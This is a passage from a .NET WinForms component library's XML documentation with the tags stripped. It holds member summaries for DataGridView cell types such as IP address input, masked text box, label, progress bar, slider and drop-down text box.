+ + + + + + + Gets the cell paint bitmap + + + + + + + Invokes BeforeCellPaint user events + + Row index + Column index + + + + Clones the ButtonX Column + + + + + + Occurs right before a IpAddressInput Cell is painted + + + + + Occurs when Clear button is clicked and allows you + to cancel the default action performed by the button + + + + + Occurs when ButtonCustom control is clicked + + + + + Occurs when ButtonCustom2 control is clicked + + + + + Occurs when Drop-Down button that shows calendar + is clicked and allows you to cancel showing of the popup + + + + + Gets the underlying IpAddressInput control + + + + + Gets or sets whether empty null/nothing state of the control + is allowed. Default value is true which means that Text property + may return null if there is no input value. + + + + + Gets or sets whether free-text entry is automatically + turned off when control loses input focus. Default value is false. + + + + + Gets or sets whether auto-overwrite functionality for input + is enabled. When in auto-overwrite mode input field will erase existing entry + and start new one if typing is continued after InputComplete method is called. + + + + + Gets or sets whether free text entries are attempted to be + auto-resolved to IP address as host/domain names. Default value is true. + + + + + Gets or sets the Background color. + + + + + Specifies the background style of the control. + + + + + Gets the object that describes the settings for the button + that clears the content of the control when clicked. + + + + + Gets the object that describes the settings for the custom button + that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the button + that shows drop-down when clicked. + + + + + Gets or sets whether the control + will be displayed for the current cell only. + + + + + Gets or sets the reference of the control that will be + displayed on popup that is shown when the drop-down button is clicked. + + + + + Returns the collection of DropDownItems. + + + + + Gets or sets whether the control can respond to user interaction + + + + + Gets or sets the color used as background color to highlight + the text box when it has input focus and FocusHighlight is enabled. + + + + + Gets or sets whether FocusHighlightColor is used as + background color to highlight the text box when it has + input focus. Default value is false. + + + + + Gets or sets the foreground color. + + + + + Gets or sets whether control input is in + free-text input mode. Default value is false. + + + + + Gets or sets the Input Method Editor (IME) mode of the control. + + + + + Gets or sets whether input part of the control is read-only. When + set to true the input part of the control becomes read-only and does + not allow the typing. However, drop-down part if visible still allows + user to possibly change the value of the control through the method you + can provide on drop-down. Use this property to allow change of the value + through drop-down button only. + + + + + Gets or sets whether check box shown using ShowCheckBox + property which locks/unlocks the control update is checked. + + + + + Gets or sets a value indicating whether control's + elements are aligned to support locales using right-to-left fonts. + + + + + List of characters that when pressed would select next input field. For example if you are + allowing time input you could set this property to : so when user presses the : character, + the input is forwarded to the next input field. + + + + + Gets or sets a value indicating whether a check box is displayed to + the left of the input value. Set to true if a check box is displayed + to the left of the input value; otherwise, false. The default is false. + + + + + Gets or sets the text as it is currently displayed to the user. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets whether watermark text is + displayed when control is empty. Default value is true. + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark (tip) text displayed inside of + the control when Text is not set and control does not have + input focus. This property supports text-markup. + + + + + Gets the Cell paint setting for the control + + + + + Control for input of the integer value. + + + + + Initializes a new instance of the IpAddressInput class. + + + + + Copies the current value in the control to the Clipboard. + + + + + Pastes the current Clipboard content if possible as the value into the control. + + + + + Moves the current control value to the Clipboard. + + + + + Shows drop-down popup. Note that popup will be shown only if there is a DropDownControl assigned or DropDownItems collection has at least one item. + + + + + Closes the drop-down popup if it is open. + + + + + Raises the ButtonClearClick event. + + + + + + Raises the ButtonDropDownClick event. + + + + + + Raises the LockUpdateChanged event. + + Provides event data./ + + + + Raises ValueChanged event. + + Provides event arguments. + + + + + + + + + + Called when Command property value changes. + + + + + Occurs when Clear button is clicked and allows you to cancel the default action performed by the button. + + + + + Occurs when Drop-Down button that shows calendar is clicked and allows you to cancel showing of the popup. + + + + + Occurs when ShowCheckBox property is set to true and user changes the lock status of the control by clicking the check-box. + + + + + Occurs when Value property has changed. + + + + + Gets the object that describes the settings for the button that shows drop-down when clicked. + + + + + Gets the object that describes the settings for the button that clears the content of the control when clicked. + + + + + Gets the object that describes the settings for the button that switches the control into the free-text entry mode when clicked. + + + + + Gets or sets whether auto-overwrite functionality for input is enabled. When in auto-overwrite mode input field will erase existing entry + and start new one if typing is continued after InputComplete method is called. + + + + + Gets or sets whether empty null/nothing state of the control is allowed. Default value is true which means that Text property + may return null if there is no input value. + + + + + Gets or sets the reference of the control that will be displayed on popup that is shown when drop-down button is clicked. + + + + + Gets the collection of BaseItem derived items displayed on popup menu. + + + + + Gets or sets whether input part of the control is read-only. When set to true the input part of the control becomes + read-only and does not allow the typing. However, drop-down part if visible still allows user to possibly change the value of the control + through the method you can provide on drop-down. + Use this property to allow change of the value through drop-down button only. + + + + + Gets or sets a value indicating whether a check box is displayed to the left of the input value. + Set to true if a check box is displayed to the left of the input value; otherwise, false. The default is false. + + When the ShowCheckBox property is set to true, a check box is displayed to the left of the input in the control. When the check box is selected, the value can be updated. When the check box is cleared, the value is unable to be changed. + You can handle the LockUpdateChanged event to be notified when this check box is checked and unchecked. Use LockUpdateChecked property + to get or sets whether check box is checked. + + + + + + Gets or sets whether check box shown using ShowCheckBox property which locks/unlocks the control update is checked. + + + + + List of characters that when pressed would select next input field. For example if you are + allowing time input you could set this property to : so when user presses the : character, + the input is forwarded to the next input field. + + + + + Gets or sets the IP Address value represented by the control. + + + + + Occurs if Free-Text entry value is not natively recognized by the control and provides you with opportunity to convert that value to the + value control expects. + + + + + Occurs when Free-Text button is clicked and allows you to cancel its default action. + + + + + Gets or sets whether free text entries are attempted to be auto-resolved to IP address as host/domain names. Default value is true. + + + + + Gets or sets whether free-text entry is automatically turned off when control loses input focus. Default value is false. + + + + + Gets or sets whether control input is in free-text input mode. Default value is false. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Handles OnTextChanged events + + + + + + ApplyCellStyleToEditingControl + + + + + + Gets EditingControlFormattedValue + + + + + + + Gets whether the given key wants to be processed + by the Control + + + + + + + + PrepareEditingControlForEdit + + + + + + Gets or sets the Edit state + + + + + Gets or sets the DataGridView + + + + + Gets or sets the Control Formatted Value + + + + + Gets or sets the Control RoeIndex + + + + + Gets or sets the Control ValueChanged state + + + + + Gets the Panel Cursor + + + + + Gets whether to RepositionEditingControlOnValueChange + + + + + GetAdjustedEditingControlBounds + + + + + + + + + GetPreferredSize + + + + + + + + + + Cell painting + + + + + + + + + + + + + + + + Paints the Label background + + + + + + + + Paints the Label background and content + + + + + + + + + + + OnMouseEnter + + + + + + Processes MouseLeave events + + + + + + Processes MouseMove events + + + + + + Processes MouseDown events + + + + + + Processes MouseUp events + + + + + + CellAlignPoint + + + + + + + Determines if the given part is set + + + + + + + + Gets the background bounds for the given cell + + + + + + + + GetValue + + + + + + + GetHorizontalAlignment + + + + + + + Initiates the refresh of the cell label + + + + + + + Gets the Type of the editing control associated with the cell + + + + + FormattedValueType + + + + + Constructor + + + + + Gets whether property should be serialized. + + + + + Resets the SingleLineColor property to its default value. + + + + + Hooks or unhooks our system events + + + + + + LabelItem_Click + + + + + + + Gets the cell paint bitmap + + + + + + + Invokes BeforeCellPaint user events + + Row index + Column index + + + + Clones the LabelX Column + + + + + + Dispose + + + + + + Button FlatStyle + + + + + Button UseColumnTextForButtonValue + + + + + InCallBack + + + + + Gets the Control LabelX + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Gets or sets whether control displays focus cues when focused. + + + + + Gets or sets the border sides that are displayed. + Default value specifies border on all 4 sides. + + + + + Gets or sets the type of the border drawn around the label. + + + + + Specifies label image. + + + + + Gets/Sets the image position inside the label. + + + + + Gets or sets the bottom padding in pixels. + + + + + Gets or sets the left padding in pixels. + + + + + Gets or sets the top padding in pixels. + + + + + Gets or sets the right padding in pixels. + + + + + Gets or sets the border line color when border is single line. + + + + + Gets or sets the text associated with this item. + + + + + Gets or sets the horizontal text alignment. + + + + + Gets or sets the vertical text alignment. + + + + + + Gets or sets a value that determines whether text is displayed in multiple lines or one long line. + + + + + Gets the Cell paint setting for the ButtonX control + + + + + InitializeEditingControl + + + + + + + + DetachEditingControl + + + + + ButtonClearClick + + + + + + + ButtonCustomClick + + + + + + + ButtonCustom2Click + + + + + + + ButtonDropDownClick + + + + + + + KeyDown routine forwards all DataGridView sent keys to + the underlying focusable control + + + + + + + PositionEditingControl + + + + + + + + + + + + + + GetAdjustedEditingControlBounds + + + + + + + + GetPreferredSize + + + + + + + + + + Cell painting + + + + + + + + + + + + + + + + Paints the cell background + + + + + + + + Paints the cell content + + + + + + + + + + + + DrawControl + + + + + + + + + + + DrawText + + + + + + + + + MustRenderVisibleControl + + + + + + Gets the background bounds for the given cell + + + + + + + + Gets the button bounds for the given cell + + + + + + + GetValue + + + + + + + GetTextAlignment + + + + + + + Determines if the given part is set + + + + + + + + Gets the Type of the editing control associated with the cell + + + + + Constructor + + + + + Resets style to default value. Used by windows forms designer. + + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + DoButtonClearClick + + + + + + + DoButtonCustomClick + + + + + + + DoButtonCustom2Click + + + + + + + DoButtonDropDownClick + + + + + + + Gets the cell paint bitmap + + + + + + + Invokes BeforeCellPaint user events + + Row index + Column index + + + + Clones the ButtonX Column + + + + + + Dispose + + + + + + Occurs right before a MaskedTextBoxAdv Cell is painted + + + + + Occurs when Clear button is clicked and allows you + to cancel the default action performed by the button + + + + + Occurs when ButtonCustom control is clicked + + + + + Occurs when ButtonCustom2 control is clicked + + + + + Occurs when Drop-Down button is clicked and allows you to cancel showing of the popup + + + + + Gets the underlying MaskedTextBoxAdv control + + + + + Gets or sets a value indicating whether PromptChar can be entered as valid data. + + + + + Gets or sets a value indicating whether characters outside of the ASCII character set will be accepted. + + + + + Gets or sets the Background color. + + + + + Specifies the background style of the control. + + + + + Gets or sets a value indicating whether the masked text box + control raises the system beep for each user key stroke that it rejects. + + + + + Gets the object that describes the settings for the button + that clears the content of the control when clicked. + + + + + Gets the object that describes the settings for the custom button + that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the button + that shows drop-down when clicked. + + + + + Gets or sets the culture information associated with the masked text box. + + + + + Gets or sets a value that determines whether + literals and prompt characters are copied to the clipboard + + + + + Gets or sets whether the control + will be displayed for the current cell only. + + + + + Gets or sets the reference of the control that will be + displayed on popup that is shown when the drop-down button is clicked. + + + + + Gets or sets whether the control can respond to user interaction + + + + + Gets or sets the color used as background color to highlight + the text box when it has input focus and FocusHighlight is enabled. + + + + + Gets or sets whether FocusHighlightColor is used as + background color to highlight the text box when it has + input focus. Default value is false. + + + + + Gets or sets the foreground color. + + + + + Gets or sets a value indicating whether the prompt characters + in the input mask are hidden when the masked text box loses focus. + + + + + Gets or sets the Input Method Editor (IME) mode of the control. + + + + + Gets or sets the text insertion mode of the masked text box control. + + + + + Gets or sets the input mask to use at run time. + + + + + Gets or sets the character to be displayed in substitute for user input. + + + + + Gets or sets the character used to represent the absence of user input. + + + + + Gets or sets a value indicating whether the parsing of + user input should stop after the first invalid character is reached. + + + + + Gets or sets a value that determines how an input + character that matches the prompt character should be handled. + + + + + Gets or sets a value that determines how + a space input character should be handled. + + + + + Gets or sets a value indicating whether control's + elements are aligned to support locales using right-to-left fonts. + + + + + Gets or sets a value indicating + whether the user is allowed to reenter literal values. + + + + + Gets or sets the text as it is currently displayed to the user. + + + + + Gets or sets how text is aligned in a masked text box control. + + + + + Gets or sets a value that determines whether literals + and prompt characters are included in the formatted string. + + + + + Gets or sets a value indicating whether + the operating system-supplied password character should be used. + + + + + Gets or sets the data type used to verify the data input by the user. + + + + + Gets or sets the watermark hiding behaviour. Default value + indicates that watermark is hidden when control receives input focus. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets whether watermark text is + displayed when control is empty. Default value is true. + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark (tip) text displayed inside of + the control when Text is not set and control does not have + input focus. This property supports text-markup. + + + + + Gets the Cell paint setting for the control + + + + + Initializes a new instance of the MaskedTextBoxAdv class. + + + + + Initializes a new instance of the MaskedTextBoxAdv class using the specified input mask. + + A custom mask language provider, derived from the MaskedTextProvider class. + + + + Initializes a new instance of the MaskedTextBoxAdv class using the specified input mask. + + Initializes a new instance of the MaskedTextBox class using the specified input mask. + + + + Raises TypeValidationCompleted event. + + + + + Raises the TextAlignChanged event. + + + + + Raises MaskInputRejected event. + + + + + + Raises the MaskChanged event. + + + + + Raises IsOverwriteModeChanged event. + + + + + Resets style to default value. Used by windows forms designer. + + + + + Shows drop-down popup. Note that popup will be shown only if there is a DropDownControl assigned or DropDownItems collection has at least one item. + + + + + Closes the drop-down popup if it is open. + + + + + Raises the ButtonClearClick event. + + + + + + Raises the ButtonDropDownClick event. + + + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + Gets whether property should be serialized by Windows Forms designer. + + + + + Converts the user input string to an instance of the validating type. + + If successful, an Object of the type specified by the ValidatingType property; otherwise, null to indicate conversion failure. + + + + Returns a string that represents the current masked text box. This method overrides ToString. + + A String that contains information about the current MaskedTextBox. The string includes the type, a simplified view of the input string, and the formatted input string. + + + + Called when Command property value changes. + + + + + Occurs when Clear button is clicked and allows you to cancel the default action performed by the button. + + + + + Occurs when Drop-Down button that shows popup is clicked and allows you to cancel showing of the popup. + + + + + Occurs when ButtonCustom control is clicked. + + + + + Occurs when ButtonCustom2 control is clicked. + + + + + Occurs after the insert mode has changed + + + + + Occurs after the input mask is changed. + + + + + Occurs when the user's input or assigned character does not match the corresponding format element of the input mask. + + + + + Occurs when the text alignment is changed. + + + + + Occurs when MaskedTextBox has finished parsing the current value using the ValidatingType property. + + + + + Specifies back color when Enabled=false + + + + + Gets or sets whether FocusHighlightColor is used as background color to highlight text box when it has input focus. Default value is false. + + + + + Gets or sets the color used as background color to highlight text box when it has input focus and focus highlight is enabled. + + + + + Specifies the background style of the control. + + + + + Gets the object that describes the settings for the button that shows drop-down when clicked. + + + + + Gets the object that describes the settings for the button that clears the content of the control when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets or sets the reference of the control that will be displayed on popup that is shown when drop-down button is clicked. + + + + + Gets the collection of BaseItem derived items displayed on popup menu. + + + + + Gets the reference to internal MaskedTextBox control. + + + + + Gets or sets whether watermark text is displayed when control is empty. Default value is true. + + + + + Gets or sets the watermark (tip) text displayed inside of the control when Text is not set and control does not have input focus. This property supports text-markup. + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets the watermark hiding behaviour. Default value indicates that watermark is hidden when control receives input focus. + + + + + Gets or sets a value indicating whether PromptChar can be entered as valid data by the user. Default value is true. + + + + + Gets or sets a value indicating whether the MaskedTextBox control accepts characters outside of the ASCII character set. + true if only ASCII is accepted; false if the MaskedTextBox control can accept any arbitrary Unicode character. The default is false. + + + + + Gets or sets a value indicating whether the masked text box control raises the system beep for each user key stroke that it rejects. + + + + + Gets or sets the culture information associated with the masked text box. + + + + + Gets or sets a value that determines whether literals and prompt characters are copied to the clipboard. + + + + + Gets or sets the IFormatProvider to use when performing type validation. + + + + + Gets or sets a value indicating whether the prompt characters in the input mask are hidden when the masked text box loses focus. + + + + + Gets or sets the text insertion mode of the masked text box control. + + + + + Gets or sets the input mask to use at run time. The default value is the empty string which allows any input + + + + + Gets a value indicating whether all required inputs have been entered into the input mask. Returns true if all required input has been entered into the mask; otherwise, false. + + + + + Gets a clone of the mask provider associated with this instance of the masked text box control. Returns masking language provider of type MaskedTextProvider. + + + + + Gets a value indicating whether all required and optional inputs have been entered into the input mask. Returns true if all required and optional inputs have been entered; otherwise, false. + + + + + Gets or sets the character to be displayed in substitute for user input. + + + + + Gets or sets the character used to represent the absence of user input in MaskedTextBox. Returns character used to prompt the user for input. The default is an underscore (_). + + + + + Gets or sets whether text in control is read only. Default value is false. + + + + + Gets or sets a value indicating whether the parsing of user input should stop after the first invalid character is reached. Returns true if processing of the input string should be terminated at the first parsing error; otherwise, false if processing should ignore all errors. The default is false. + + + + + Gets or sets a value that determines how an input character that matches the prompt character should be handled. Returns true if the prompt character entered as input causes the current editable position in the mask to be reset; otherwise, false to indicate that the prompt character is to be processed as a normal input character. The default is true. + + + + + Gets or sets a value that determines how a space input character should be handled. Returns true if the space input character causes the current editable position in the mask to be reset; otherwise, false to indicate that it is to be processed as a normal input character. The default is true. + + + + + Gets or sets a value indicating the currently selected text in the control. + + + + + Gets or sets the number of characters selected in the text box. + + + + + Gets or sets the starting point of text selected in the text box. + + + + + Gets or sets a value indicating whether the defined shortcuts are enabled. + + + + + Gets or sets the text as it is currently displayed to the user. + + + + + Gets or sets how text is aligned in a masked text box control. + + + + + Gets the length of the displayed text. + + + + + Gets or sets a value that determines whether literals and prompt characters are included in the formatted string. + + + + + Gets or sets a value indicating whether the operating system-supplied password character should be used. + + + + + Gets or sets the data type used to verify the data input by the user. Returns Type representing the data type used in validation. The default is null. + + + + + Gets the preferred height for a masked text box. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Handles OnTextChanged events + + + + + + ApplyCellStyleToEditingControl + + + + + + Gets EditingControlFormattedValue + + + + + + + Gets whether the given key wants to be processed + by the Control + + + + + + + + PrepareEditingControlForEdit + + + + + + Gets or sets the DataGridView + + + + + Gets or sets the Control Formatted Value + + + + + Gets or sets the Control RoeIndex + + + + + Gets or sets the Control ValueChanged state + + + + + Gets the Panel Cursor + + + + + Gets whether to RepositionEditingControlOnValueChange + + + + + Cell painting + + + + + + + + + + + + + + + + Paints the Button background + + + + + + + + Paints the button background and content + + + + + + + + + + + OnMouseEnter + + + + + + Processes MouseLeave events + + + + + + Processes MouseMove events + + + + + + Processes MouseDown events + + + + + + Processes MouseUp events + + + + + + Determines if the given part is set + + + + + + + + Gets the background bounds for the given cell + + + + + + + + Gets the content bounds for the given cell + + + + + + + + GetValue + + + + + + + + Gets the Type of the editing control associated with the cell + + + + + FormattedValueType + + + + + Constructor + + + + + Gets whether ChunkColor property should be serialized. + + + + + Resets the ChunkColor property to its default value. + + + + + Gets whether ChunkColor property should be serialized. + + + + + Resets the ChunkColor property to its default value. + + + + + Hooks or unhooks our system events + + + + + + ProgressBarItem_Click + + + + + + + Gets the cell paint bitmap + + + + + + + Invokes BeforeCellPaint user events + + Row index + Column index + + + + Clones the ButtonX Column + + + + + + Dispose + + + + + + Button FlatStyle + + + + + Button UseColumnTextForButtonValue + + + + + InCallBack + + + + + Gets the Control ProgressBarX + + + + + Gets or sets the color of the progress chunk. + + + + + Gets or sets the target gradient color of the progress chunk. + + + + + Gets or sets the gradient angle of the progress chunk. + + + + + Gets or sets the predefined color state table for progress bar. Color + specified applies to items with Office 2007 style only. It does not have + any effect on other styles. You can use ColorTable to indicate the state + of the operation that Progress Bar is tracking. Default value is eProgressBarItemColor.Normal. + + + + + Gets or sets the maximum value of the range of the control. + + + + + Gets or sets the minimum value of the range of the control. + + + + + Gets/Sets the visual style for the control. + + + + + Gets or sets the default Text to display on the Progress Bar + + + + + Gets or sets whether the text inside the progress bar is displayed. + + + + + Gets or sets the current position of the progress bar. + + + + + Gets the Cell paint setting for the ButtonX control + + + + + GetAdjustedEditingControlBounds + + + + + + + + GetPreferredSize + + + + + + + + + + Cell painting + + + + + + + + + + + + + + + + Paints the Slider background + + + + + + + + Paints the Slider content + + + + + + + + + + + OnMouseEnter + + + + + + Process MouseEnter state + + + + + + + Processes MouseLeave events + + + + + + Processes MouseMove events + + + + + + Processes MouseDown events + + + + + + Processes MouseUp events + + + + + + CellAlignPoint + + + + + + + + GetSliderValue + + + + + + + Determines if the given part is set + + + + + + + + Gets the background bounds for the given cell + + + + + + + + Gets the content bounds for the given cell + + + + + + + Initiates the refresh of the cell slider + + + + + + + Gets the Type of the editing control associated with the cell + + + + + Gets the type of the underlying data + (i.e., the type of the cell's Value property) + + + + + Constructor + + + + + Returns whether property should be serialized. Used by Windows Forms designer. + + + + + Resets the property to default value. Used by Windows Forms designer. + + + + + Hooks or unhooks our system events + + + + + + SliderItem_Click + + + + + + + SliderItem_ValueChanged + + + + + + + Gets the cell paint bitmap + + + + + + + Invokes BeforeCellPaint user events + + Row index + Column index + + + + Clones the ButtonX Column + + + + + + Dispose + + + + + + Occurs right before a Slider Cell is painted + + + + + Gets or sets the active row index + + + + + Gets or sets the DataBindingComplete state + + + + + Gets the Control Slider + + + + + Gets or sets whether the control can respond to user interaction + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Gets or sets the text label position in relationship to the slider. Default value is Left. + + + + + Gets or sets whether the text label next to the slider is displayed. + + + + + Gets or sets the width of the label part of the item in pixels. Value must be greater than 0. Default value is 38. + + + + + Gets or sets the maximum value of the range of the control. + + + + + Gets or sets the minimum value of the range of the control. + + + + + Gets or sets the amount by which a call to the PerformStep method increases the current position of the slider. Value must be greater than 0. + + + + + Gets or sets the text associated with this item. + + + + + Gets or sets the color of the label text. + + + + + Gets or sets whether vertical line track marker is displayed on the slide line. Default value is true. + + + + + Gets or sets the current position of the slider. + + + + + Gets the Cell paint setting for the ButtonX control + + + + + InitializeEditingControl + + + + + + + + DetachEditingControl + + + + + ButtonClearClick + + + + + + + ButtonCustomClick + + + + + + + ButtonCustom2Click + + + + + + + ButtonDropDownClick + + + + + + + KeyDown routine forwards all DataGridView sent keys to + the underlying focusable control + + + + + + + PositionEditingControl + + + + + + + + + + + + + + GetAdjustedEditingControlBounds + + + + + + + + Cell painting + + + + + + + + + + + + + + + + Paints the cell background + + + + + + + + Paints the cell content + + + + + + + + + + + + DrawControl + + + + + + + + + + DrawText + + + + + + + + + Gets the background bounds for the given cell + + + + + + + + Gets the button bounds for the given cell + + + + + + + GetValue + + + + + + + GetTextAlignment + + + + + + + Determines if the given part is set + + + + + + + + Gets the Type of the editing control associated with the cell + + + + + Constructor + + + + + Resets style to default value. Used by windows forms designer. + + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + Appends text to the current text of a text box. + + The text to append to the current contents of the text box. + + + + Clears all text from the text box control. + + + + + Clears information about the most recent operation from the undo buffer of the text box. + + + + + Copies the current selection in the text box to the Clipboard. + + + + + Moves the current selection in the text box to the Clipboard. + + + + + Specifies that the value of the SelectionLength + property is zero so that no characters are selected in the control. + + + + + Retrieves the character that is closest to the specified location within the control. + + The location from which to seek the nearest character. + The character at the specified location. + + + + Retrieves the index of the character nearest to the specified location. + + The location to search. + The zero-based character index at the specified location. + + + + Retrieves the index of the first character of a given line. + + The line for which to get the index of its first character. + The zero-based character index in the specified line. + + + + Retrieves the index of the first character of the current line. + + The zero-based character index in the current line. + + + + Retrieves the line number from the specified character position within the text of the control. + + The character index position to search. + The zero-based line number in which the character index is located. + + + + Retrieves the location within the control at the specified character index. + + The index of the character for which to retrieve the location. + The location of the specified character. + + + + Replaces the current selection in the text box with the contents of the Clipboard. + + + + + Selects a range of text in the text box. + + The position of the first character in the current text selection within the text box. + The number of characters to select. + + + + Selects all text in the text box. + + + + + Undoes the last edit operation in the text box. + + + + + Replaces the specified selection in the TextBox with the contents of the Clipboard. + + The text to replace. + + + + DoButtonClearClick + + + + + + + DoButtonCustomClick + + + + + + + DoButtonCustom2Click + + + + + + + DoButtonDropDownClick + + + + + + + Gets the cell paint bitmap + + + + + + + Invokes BeforeCellPaint user events + + Row index + Column index + + + + Clones the ButtonX Column + + + + + + Dispose + + + + + + Occurs right before a TextBoxDropDown Cell is painted + + + + + Occurs when Clear button is clicked and allows you + to cancel the default action performed by the button + + + + + Occurs when ButtonCustom control is clicked + + + + + Occurs when ButtonCustom2 control is clicked + + + + + Occurs when Drop-Down button is clicked and allows you to cancel showing of the popup + + + + + Gets the underlying TextBoxDropDown control + + + + + Gets or sets a custom StringCollection to use when + the AutoCompleteSource property is set to CustomSource. + A StringCollection to use with AutoCompleteSource. + + + + + Gets or sets an option that controls + how automatic completion works for the TextBox. + One of the values of AutoCompleteMode. The values are Append, + None, Suggest, and SuggestAppend. The default is None. + + + + + Gets or sets a value specifying the source of complete strings used for automatic completion. + One of the values of AutoCompleteSource. The options are AllSystemSources, AllUrl, FileSystem, HistoryList, RecentlyUsedList, CustomSource, and None. The default is None. + + + + + Gets or sets the Background color. + + + + + Specifies the background style of the control. + + + + + Gets the object that describes the settings for the button + that clears the content of the control when clicked. + + + + + Gets the object that describes the settings for the custom button + that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the button + that shows drop-down when clicked. + + + + + Gets or sets whether the TextBox control + modifies the case of characters as they are typed. + One of the CharacterCasing enumeration values that specifies + whether the TextBox control modifies the case of characters. + The default is CharacterCasing.Normal. + + + + + Gets or sets whether the control + will be displayed for the current cell only. + + + + + Gets or sets the reference of the control that will be + displayed on popup that is shown when the drop-down button is clicked. + + + + + Gets or sets whether the control can respond to user interaction + + + + + Gets or sets the color used as background color to highlight + the text box when it has input focus and FocusHighlight is enabled. + + + + + Gets or sets whether FocusHighlightColor is used as + background color to highlight the text box when it has + input focus. Default value is false. + + + + + Gets or sets the foreground color. + + + + + Gets or sets a value indicating whether the selected text in + the text box control remains highlighted when the control loses focus. + true if the selected text does not appear highlighted when the + text box control loses focus; false, if the selected text remains + highlighted when the text box control loses focus. The default is true. + + + + + Gets or sets the Input Method Editor (IME) mode of the control. + + + + + Gets or sets the maximum number of characters the user can type or paste into the text box control. + The number of characters that can be entered into the control. The default is 32767. + + + + + Gets or sets the character to be displayed in substitute for user input. + + + + + Gets or sets a value indicating whether control's + elements are aligned to support locales using right-to-left fonts. + + + + + Gets or sets a value indicating the currently selected text in the control. + A string that represents the currently selected text in the text box. + + + + + Gets or sets the number of characters selected in the text box. + The number of characters selected in the text box. + + + + + Gets or sets the starting point of text selected in the text box. + The starting position of text selected in the text box. + + + + + Gets or sets the text as it is currently displayed to the user. + + + + + Gets or sets how text is aligned in a masked text box control. + + + + + Gets the length of text in the control. + Returns number of characters contained in the text of the control. + + + + + Gets or sets a value indicating whether + the operating system-supplied password character should be used. + + + + + Gets or sets the watermark hiding behaviour. Default value + indicates that watermark is hidden when control receives input focus. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets whether watermark text is + displayed when control is empty. Default value is true. + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark (tip) text displayed inside of + the control when Text is not set and control does not have + input focus. This property supports text-markup. + + + + + Gets the Cell paint setting for the control + + + + + Represents single line text box control with the drop down button to display custom control on popup and additional custom buttons. + + + + + Raises BeforeMultiColumnPopupOpen event. + + Provides event arguments. + + + + Initializes a new instance of the TextBoxDropDown class. + + + + + Raises the TextAlignChanged event. + + + + + Resets style to default value. Used by windows forms designer. + + + + + Shows drop-down popup. Note that popup will be shown only if there is a DropDownControl assigned or DropDownItems collection has at least one item. + + + + + Closes the drop-down popup if it is open. + + + + + Raises the ButtonClearClick event. + + + + + + Raises the ButtonDropDownClick event. + + + + + + Called when DropDownControl property has changed. + + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + Called when Command property value changes. + + + + + Returns a string that represents the current text in text box. This method overrides ToString. + + A String that contains information about the current TextBox. The string includes the type, a simplified view of the input string, and the formatted input string. + + + + Appends text to the current text of a text box. + + The text to append to the current contents of the text box. + + + + Clears all text from the text box control. + + + + + Clears information about the most recent operation from the undo buffer of the text box. + + + + + Copies the current selection in the text box to the Clipboard. + + + + + Moves the current selection in the text box to the Clipboard. + + + + + Specifies that the value of the SelectionLength property is zero so that no characters are selected in the control. + + + + + Retrieves the character that is closest to the specified location within the control. + + The location from which to seek the nearest character. + The character at the specified location. + + + + Retrieves the index of the character nearest to the specified location. + + The location to search. + The zero-based character index at the specified location. + + + + Retrieves the index of the first character of a given line. + + The line for which to get the index of its first character. + The zero-based character index in the specified line. + + + + Retrieves the index of the first character of the current line. + + The zero-based character index in the current line. + + + + Retrieves the line number from the specified character position within the text of the control. + + The character index position to search. + The zero-based line number in which the character index is located. + + + + Retrieves the location within the control at the specified character index. + + The index of the character for which to retrieve the location. + The location of the specified character. + + + + Replaces the current selection in the text box with the contents of the Clipboard. + + + + + Selects a range of text in the text box. + + The position of the first character in the current text selection within the text box. + The number of characters to select. + + + + Selects all text in the text box. + + + + + Undoes the last edit operation in the text box. + + + + + Replaces the specified selection in the TextBox with the contents of the Clipboard. + + The text to replace. + + + + Occurs when Clear button is clicked and allows you to cancel the default action performed by the button. + + + + + Occurs when Drop-Down button that shows popup is clicked and allows you to cancel showing of the popup. + + + + + Occurs when ButtonCustom control is clicked. + + + + + Occurs when ButtonCustom2 control is clicked. + + + + + Occurs when the text alignment is changed. + + + + + Occurs when the value of the Modified property has changed. + + + + + Occurs before the popup is opened and it allows canceling of popup by setting CancelEventArgs.Cancel=true. + + + + + Indicates whether all text is auto-selected when control gets input focus. Default value is false. + + + + + Gets or sets whether FocusHighlightColor is used as background color to highlight text box when it has input focus. Default value is false. + + + + + Gets or sets the color used as background color to highlight text box when it has input focus and focus highlight is enabled. + + + + + Specifies the background style of the control. + + + + + Gets the object that describes the settings for the button that shows drop-down when clicked. + + + + + Gets the object that describes the settings for the button that clears the content of the control when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets or sets a value indicating whether the drop-down is open. + + + + + Indicates whether DropDownControl is automatically focused when popup is open. + + + + + Gets or sets the reference of the control that will be 